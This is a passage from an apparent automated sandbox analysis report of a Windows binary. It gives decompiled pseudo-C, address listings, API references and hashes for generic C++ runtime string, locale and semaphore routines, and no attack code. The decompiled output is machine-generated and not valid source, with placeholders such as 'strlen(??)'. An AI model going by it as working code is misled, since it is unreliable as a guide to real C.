										_t162 = _a12 - _t128;
										goto L9;
									} else {
										if(_a12 <  &(( &(_a4[_t138]))[_t128])) {
											_v52 = _t138;
											_v64 = 0;
											_v48 = E00458960(_t122, _t128, _t138, _t147, _t161, _t167, _a12, _t161,  &_v29);
											_v68 = _t147;
											_v72 = _v52;
											_v76 = _a4;
											E0045AAF0(_t122);
											__eflags = _t147;
											if(_t147 != 0) {
												_t164 =  &(_a4[ *_t122]);
												__eflags = _t147 - 1;
												if(_t147 == 1) {
													 *_t164 =  *_v48 & 0x000000ff;
												} else {
													memcpy(_t164, _v48, _t147);
												}
											}
											_t144 =  *0x4c3bd0; // 0x2
											__eflags = _t144;
											if(_t144 != 0) {
												_t111 = 0xffffffff;
												asm("lock xadd [edi-0x4], eax");
											} else {
												_t152 = _v48;
												_t111 =  *(_t152 - 4);
												 *(_t152 - 4) = _t111 - 1;
											}
											__eflags = _t111;
											if(_t111 <= 0) {
												_v76 = _v48 - 0xc;
												L00497910();
											}
										} else {
											_t162 = _a12 - _t128 + _t147 - _t138;
											L9:
											_v68 = _t147;
											_v72 = _t138;
											_v76 = _a4;
											E0045AAF0(_t122);
											_t100 =  *_t122;
											_t134 = _t162 + _t100;
											_t101 = _t100 + _a4;
											if(_t147 == 1) {
												 *_t101 =  *_t134 & 0x000000ff;
											} else {
												if(_t147 != 0) {
													memcpy(_t101, _t134, _t147);
												}
											}
										}
									}
									L12:
									return _t122;
								}
							}
						}
					}
				}
			}

0x0045a560
0x0045a561
0x0045a563
0x0045a564
0x0045a565
0x0045a566
0x0045a568
0x0045a56b
0x0045a56d
0x0045a570
0x0045a576
0x0045a795
0x0045a795
0x0045a79c
0x0045a7a4
0x0045a7a8
0x0045a7af
0x0045a7bc
0x0045a7bf
0x0045a7c7
0x0045a7c8
0x0045a7cb
0x0045a7d7
0x0045a7dc
0x0045a7e4
0x0045a7e8
0x0045a7f0
0x0045a7fe
0x0045a57c
0x0045a584
0x0045a58c
0x0045a594
0x0045a789
0x0045a790
0x00000000
0x0045a59a
0x0045a59d
0x0045a650
0x0045a650
0x0045a656
0x0045a65d
0x0045a660
0x0045a668
0x0045a66a
0x00000000
0x0045a66c
0x0045a66f
0x0045a671
0x0045a674
0x0045a69e
0x0045a6a9
0x0045a676
0x0045a684
0x0045a692
0x0045a692
0x0045a674
0x0045a5ae
0x0045a5ae
0x0045a5b5
0x0045a64b
0x0045a64d
0x0045a6b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0045a5bb
0x0045a5c0
0x00000000
0x0045a5c6
0x0045a5c6
0x0045a5cb
0x0045a5d4
0x0045a755
0x00000000
0x0045a5da
0x0045a5e4
0x0045a6c3
0x0045a6c6
0x0045a6e0
0x0045a6e3
0x0045a6ea
0x0045a6f1
0x0045a6f4
0x0045a6fc
0x0045a6fe
0x0045a703
0x0045a705
0x0045a708
0x0045a785
0x0045a70a
0x0045a718
0x0045a718
0x0045a708
0x0045a71d
0x0045a723
0x0045a725
0x0045a773
0x0045a778
0x0045a727
0x0045a727
0x0045a72a
0x0045a730
0x0045a730
0x0045a733
0x0045a735
0x0045a741
0x0045a744
0x0045a744
0x0045a5ea
0x0045a5f5
0x0045a5f7
0x0045a5f7
0x0045a5fd
0x0045a604
0x0045a607
0x0045a60c
0x0045a613
0x0045a615
0x0045a61b
0x0045a763
0x0045a621
0x0045a623
0x0045a630
0x0045a630
0x0045a623
0x0045a61b
0x0045a5e4
0x0045a635
0x0045a63e
0x0045a63e
0x0045a5c0
0x0045a5b5
0x0045a59d
0x0045a594

APIs

memcpy.MSVCRT ref: 0045A630
memcpy.MSVCRT ref: 0045A684
memcpy.MSVCRT ref: 0045A718

Part of subcall function 0045AAF0: memcpy.MSVCRT ref: 0045AB80

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 0045A7A8
basic_string::replace, xrefs: 0045A789, 0045A79C

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: caf7558311131e50d881312929e30b7a2f1d8a41d6801da6b6876c0400bc9846
Instruction ID: 992e7a01332f8c55bea8384aad6a72aa90abd49a48e985d3f52fce143a469cea
Opcode Fuzzy Hash: caf7558311131e50d881312929e30b7a2f1d8a41d6801da6b6876c0400bc9846
Instruction Fuzzy Hash: 8B815675A082059FCB00EF2DC58055EBBF1AF88315F158A2EEC98D7312E738D965CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00410671 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 128
stringCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00410671(signed int* __ebx) {
				intOrPtr* _t56;
				int _t57;
				signed int _t59;
				signed int _t62;
				int _t66;
				signed int _t68;
				signed int _t70;
				intOrPtr _t71;
				int _t72;
				signed int _t74;
				signed int _t77;
				int _t81;
				signed int _t85;
				signed int _t88;
				signed int* _t90;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t117;
				intOrPtr _t118;
				void* _t119;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t124;
				intOrPtr* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;

				_t90 = __ebx;
				 *_t123 = 0x80;
				E0045A8F0(__ebx);
				_t56 =  *0x4ce238; // 0x4ce160
				_t124 = _t123 - 4;
				_t116 =  *_t56;
				 *_t124 = _t116;
				_t57 = strlen(??);
				 *_t124 = _t116;
				 *(_t124 + 4) = _t57;
				L004595B0(__ebx);
				_t59 =  *__ebx;
				_t125 = _t124 - 8;
				_t110 =  *((intOrPtr*)(_t59 - 0xc));
				_t117 = _t110 + 1;
				if( *((intOrPtr*)(_t59 - 8)) < _t117) {
					L5:
					 *_t125 = _t117;
					E0045A8F0(_t90);
					_t125 = _t125 - 4;
				} else {
					_t109 =  *0x4c3bd0; // 0x2
					if(_t109 != 0) {
						_t88 =  *(_t59 - 4) & 0xffffff00 |  *(_t59 - 4) > 0x00000000;
					} else {
						_t88 =  *(_t59 - 4) & 0xffffff00 |  *(_t59 - 4) > 0x00000000;
					}
					if(_t88 != 0) {
						goto L5;
					}
				}
				 *((char*)( *_t90 +  *((intOrPtr*)( *_t90 - 0xc)))) = 0x3d;
				_t62 =  *_t90;
				 *((intOrPtr*)(_t62 - 0xc)) = _t117;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				 *((char*)(_t62 + _t110 + 1)) = 0;
				_t118 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t121 + 8)))) + 0x10))));
				 *_t125 = _t118;
				_t66 = strlen(??);
				 *_t125 = _t118;
				 *(_t125 + 4) = _t66;
				L004595B0(_t90);
				_t126 = _t125 - 8;
				_t119 = 4;
				do {
					_t68 =  *_t90;
					_t105 =  *((intOrPtr*)(_t68 - 0xc));
					_t111 = _t105 + 1;
					if( *((intOrPtr*)(_t68 - 8)) < _t111) {
						L10:
						 *_t126 = _t111;
						E0045A8F0(_t90);
						_t68 =  *_t90;
						_t126 = _t126 - 4;
						_t105 =  *((intOrPtr*)(_t68 - 0xc));
					} else {
						_t101 =  *0x4c3bd0; // 0x2
						if(_t101 != 0) {
							if( *((intOrPtr*)(_t68 - 4)) > 0) {
								goto L10;
							} else {
								_t68 =  *_t90;
								_t105 =  *((intOrPtr*)(_t68 - 0xc));
								goto L11;
							}
							break;
						} else {
							if( *((intOrPtr*)(_t68 - 4)) > 0) {
								goto L10;
							}
						}
					}
					L11:
					 *((char*)(_t68 + _t105)) = 0x3b;
					_t70 =  *_t90;
					 *((intOrPtr*)(_t70 - 0xc)) = _t111;
					 *((intOrPtr*)(_t70 - 4)) = 0;
					 *((char*)(_t70 + _t111)) = 0;
					_t71 =  *0x4ce238; // 0x4ce160
					_t112 =  *((intOrPtr*)(_t71 + _t119));
					 *_t126 = _t112;
					_t72 = strlen(??);
					 *_t126 = _t112;
					 *(_t126 + 4) = _t72;
					L004595B0(_t90);
					_t74 =  *_t90;
					_t127 = _t126 - 8;
					_t106 =  *((intOrPtr*)(_t74 - 0xc));
					 *((intOrPtr*)(_t121 - 0x2c)) = _t106;
					_t113 = _t106 + 1;
					if( *((intOrPtr*)(_t74 - 8)) < _t113) {
						L15:
						 *_t127 = _t113;
						E0045A8F0(_t90);
						_t127 = _t127 - 4;
					} else {
						_t103 =  *0x4c3bd0; // 0x2
						if(_t103 != 0) {
							_t85 =  *(_t74 - 4) & 0xffffff00 |  *(_t74 - 4) > 0x00000000;
						} else {
							_t85 = _t74 & 0xffffff00 |  *(_t74 - 4) > 0x00000000;
						}
						if(_t85 != 0) {
							goto L15;
						}
					}
					 *((char*)( *_t90 +  *((intOrPtr*)( *_t90 - 0xc)))) = 0x3d;
					_t77 =  *_t90;
					 *((intOrPtr*)(_t77 - 0xc)) = _t113;
					 *((intOrPtr*)(_t77 - 4)) = 0;
					 *((char*)(_t77 +  *((intOrPtr*)(_t121 - 0x2c)) + 1)) = 0;
					_t114 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t121 + 8)))) + 0x10)) + _t119));
					 *_t127 = _t114;
					_t81 = strlen(??);
					 *_t127 = _t114;
					 *(_t127 + 4) = _t81;
					L004595B0(_t90);
					_t119 = _t119 + 4;
					_t126 = _t127 - 8;
				} while (_t119 != 0x18);
				return _t90;
			}

0x00410671
0x00410678
0x00410681
0x00410686
0x0041068b
0x0041068e
0x00410690
0x00410693
0x00410698
0x0041069d
0x004106a1
0x004106a6
0x004106a8
0x004106ab
0x004106ae
0x004106b4
0x004106d0
0x004106d0
0x004106d5
0x004106da
0x004106b6
0x004106b6
0x004106be
0x00410845
0x004106c4
0x004106c9
0x004106c9
0x004106ce
0x00000000
0x00000000
0x004106ce
0x004106e2
0x004106e6
0x004106e8
0x004106eb
0x004106f2
0x004106ff
0x00410701
0x00410704
0x00410709
0x0041070e
0x00410712
0x00410717
0x0041071a
0x0041071f
0x0041071f
0x00410721
0x00410724
0x0041072a
0x00410741
0x00410741
0x00410746
0x0041074b
0x0041074d
0x00410750
0x0041072c
0x0041072c
0x00410734
0x0041082d
0x00000000
0x00410833
0x00410833
0x00410835
0x00000000
0x00410835
0x00000000
0x0041073a
0x0041073f
0x00000000
0x00000000
0x0041073f
0x00410734
0x00410753
0x00410753
0x00410757
0x00410759
0x0041075c
0x00410763
0x00410767
0x0041076c
0x0041076f
0x00410772
0x00410777
0x0041077c
0x00410780
0x00410785
0x00410787
0x0041078a
0x0041078d
0x00410790
0x00410796
0x004107ae
0x004107ae
0x004107b3
0x004107b8
0x00410798
0x00410798
0x004107a0
0x0041081d
0x004107a2
0x004107a7
0x004107a7
0x004107ac
0x00000000
0x00000000
0x004107ac
0x004107c3
0x004107c7
0x004107c9
0x004107cc
0x004107d3
0x004107e0
0x004107e3
0x004107e6
0x004107eb
0x004107f0
0x004107f4
0x004107f9
0x004107fc
0x004107ff
0x00410811

APIs

strlen.MSVCRT ref: 00410693

Part of subcall function 004595B0: memcpy.MSVCRT ref: 00459613

strlen.MSVCRT ref: 00410704
strlen.MSVCRT ref: 00410772
strlen.MSVCRT ref: 004107E6

Strings

`L, xrefs: 00410686, 00410767

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen$memcpy
String ID: `L
API String ID: 3396830738-823113053
Opcode ID: 88fcc9c46a9a9d6207f8fd0c5ed2ce8451ae3086631911ee1c44b094043ff5be
Instruction ID: 0f741225f6af054affa88c300c9859270fcd6f4da2a6b0b19bacbc048195ba8f
Opcode Fuzzy Hash: 88fcc9c46a9a9d6207f8fd0c5ed2ce8451ae3086631911ee1c44b094043ff5be
Instruction Fuzzy Hash: D4511B75A05A10CFDB00EF29C098659FBE5FF85305F0185AEE8415F366DB78A889CB86

Uniqueness

Uniqueness Score: -1.00%

Function 003FA7F0 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 003FA80F
ReleaseSemaphore.KERNEL32 ref: 003FA893

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: 233f8051b7cc529a46684d55d30e3f8416f368f02f69f4b152d45487f0abc9b9
Instruction ID: 4b6f41db16d42066e68a74cbbb5d553bbac6c06b33c188cb22d1d47c53c653cf
Opcode Fuzzy Hash: 233f8051b7cc529a46684d55d30e3f8416f368f02f69f4b152d45487f0abc9b9
Instruction Fuzzy Hash: 45319CB46047058FD740EF28E8587A67BF0BB54314F02C568D8688B2A1E774EA89DF82

Uniqueness

Uniqueness Score: -1.00%

Function 003FAC90 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 003FAC9C
ReleaseSemaphore.KERNEL32 ref: 003FAD2C
CreateSemaphoreW.KERNEL32 ref: 003FAD77
WaitForSingleObject.KERNEL32 ref: 003FADC0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 870a53b6787653870bcb2a0b02bf606909bf6e74329672223c0ca75a8043e87b
Instruction ID: ee4f267577a14673fafca0330583dceaba7189ecf37d0c125df287ea7fce3b4c
Opcode Fuzzy Hash: 870a53b6787653870bcb2a0b02bf606909bf6e74329672223c0ca75a8043e87b
Instruction Fuzzy Hash: 34318FB46042008FC741EF28E8687A67BF0BB54315F01C62CE9488B2A5E734E949DF82

Uniqueness

Uniqueness Score: -1.00%

Function 004921A0 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004921B5
strlen.MSVCRT ref: 00492203
memcpy.MSVCRT ref: 00492220
setlocale.MSVCRT ref: 00492234
setlocale.MSVCRT ref: 0049226A

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 3d4838cd62c2ea68c141b9dce417619234d7117448e6eff887b0c4bf1395b624
Instruction ID: 662afc2b56bae9d0ad7462bf0065a8966a0628431700374387ecc5572ce12484
Opcode Fuzzy Hash: 3d4838cd62c2ea68c141b9dce417619234d7117448e6eff887b0c4bf1395b624
Instruction Fuzzy Hash: 2021CFB46193009FD740AF69D48462EFBE0EF88318F41896EF9D8D7342E378D9408B46

Uniqueness

Uniqueness Score: -1.00%

Function 003FB240 Relevance: 7.5, APIs: 5, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 003FB26C
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,003FB48E), ref: 003FB27A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,003FB48E), ref: 003FB2B0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: 2fd21b9977bf86463f1d8d146c42503649dde5b2e2b19889669ad618e39c773a
Instruction ID: 0af514be2a7734dfaeae680a88ea93d1904a0a38f35a7a391070e61880aac4ba
Opcode Fuzzy Hash: 2fd21b9977bf86463f1d8d146c42503649dde5b2e2b19889669ad618e39c773a
Instruction Fuzzy Hash: 97F090B44043019AC300BF69C50C37EBAF0AB51314F41CA3CE169572E0E7388488AF52

Uniqueness

Uniqueness Score: -1.00%

Function 00468C80 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

basic_filebuf::xsgetn error reading the file, xrefs: 00468E60

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: basic_filebuf::xsgetn error reading the file
API String ID: 0-3108371566
Opcode ID: dfb9b89f1d0e011c55695e786c65f98e7814c0aaf0443885a18544926946a7be
Instruction ID: da981169294e16f80cddaefd0c64203f90f2473c4019ef12179b7002843a0fec
Opcode Fuzzy Hash: dfb9b89f1d0e011c55695e786c65f98e7814c0aaf0443885a18544926946a7be
Instruction Fuzzy Hash: DBB180B1A042008FCB18DF29C4C465ABBE1BF98344F59856EED49CB34AE739DC45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00408A80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00408A80(int __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __ebp, char* _a8) {
				char* _v24;
				int _t9;
				intOrPtr* _t14;
				void* _t18;
				char* _t21;
				void* _t24;
				char** _t25;

				_t14 = __ecx;
				_t25 = _t24 - 0x14;
				 *_t25 = _a8;
				_t21 = strerror(__ebx);
				 *_t14 = _t14 + 8;
				if(_t21 == 0) {
					 *_t25 = "basic_string: construction from null is not valid";
					L004996C0(_t18, __edi);
					return "__gnu_cxx::__concurrence_lock_error";
				} else {
					 *_t25 = _t21;
					_t9 = strlen(??);
					 *_t25 = _t21;
					_v24 =  &(_t21[_t9]);
					E00482CC0(_t14);
					return _t14;
				}
			}

0x00408a82
0x00408a84
0x00408a8b
0x00408a93
0x00408a98
0x00408a9c
0x00408ac3
0x00408aca
0x00408ad5
0x00408a9e
0x00408a9e
0x00408aa1
0x00408aa6
0x00408aad
0x00408ab1
0x00408ac0
0x00408ac0

APIs

strerror.MSVCRT ref: 00408A8E
strlen.MSVCRT ref: 00408AA1

Strings

basic_string: construction from null is not valid, xrefs: 00408AC3
__gnu_cxx::__concurrence_lock_error, xrefs: 00408AD0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strerrorstrlen
String ID: __gnu_cxx::__concurrence_lock_error$basic_string: construction from null is not valid
API String ID: 960536887-1066207237
Opcode ID: 7f7e98ef0625e1846a73d734f837ce0901de7a163ee66d60185e59941b7733f4
Instruction ID: 58cb19749e47020753ec1392835a51392556a6553f67f3fc8175026615ac016f
Opcode Fuzzy Hash: 7f7e98ef0625e1846a73d734f837ce0901de7a163ee66d60185e59941b7733f4
Instruction Fuzzy Hash: ACF0A0F1A1422047CB007F39858151EBAE0AB45700F46497FE8C0AB341E638CC448BEA

Uniqueness

Uniqueness Score: -1.00%

Function 003F50D0 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003F5155
memcpy.MSVCRT ref: 003F5170
free.MSVCRT(?,?,?,?,?,?,?,?,?,004074CC), ref: 003F517A

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 38ed9759cc59dbeecf475a0cf59182c7e42a7b89f08ef4db519fe0bfbf7d3b77
Instruction ID: 50852c7501e73b63be877ed4d16d514bb34a9f069daecbcae17087fcb07bc21d
Opcode Fuzzy Hash: 38ed9759cc59dbeecf475a0cf59182c7e42a7b89f08ef4db519fe0bfbf7d3b77
Instruction Fuzzy Hash: 40318075605B098BDB12AF29D88033FBBE5AFD1354F160A2CEFA547341D735E8458781

Uniqueness

Uniqueness Score: -1.00%

Function 0043CFF0 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0043D124
memchr.MSVCRT ref: 0043D143

Part of subcall function 004921A0: setlocale.MSVCRT ref: 004921B5

Strings

., xrefs: 0043D135
-, xrefs: 0043D322

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 051d8e790bb6dcf353101bc74fe8fc62eb9f3f32dcdf9dbb0cdbad55ab3bc6bd
Instruction ID: aa11396c5575da5955c7de6e37d569e0c051f83913ecd8b592053716956c37c9
Opcode Fuzzy Hash: 051d8e790bb6dcf353101bc74fe8fc62eb9f3f32dcdf9dbb0cdbad55ab3bc6bd
Instruction Fuzzy Hash: 6CD126B1D043199FCB00EFA8D48469EBBF1BF88304F158A6AE894AB355D734D945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00482790 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00482790(void* __ebx, char** __ecx, void* __edi, void* __esi, char* _a4, char _a8) {
				char** _v16;
				char* _v20;
				signed char* _v24;
				char** _v32;
				char* _v44;
				signed char* _v48;
				char _v64;
				char** _v68;
				signed char* _v72;
				intOrPtr _v92;
				char** _v104;
				char _v128;
				char** _v132;
				intOrPtr _t72;
				intOrPtr _t79;
				char* _t85;
				char* _t87;
				char* _t88;
				char* _t90;
				char* _t92;
				char* _t93;
				char* _t95;
				intOrPtr _t97;
				char* _t99;
				char* _t101;
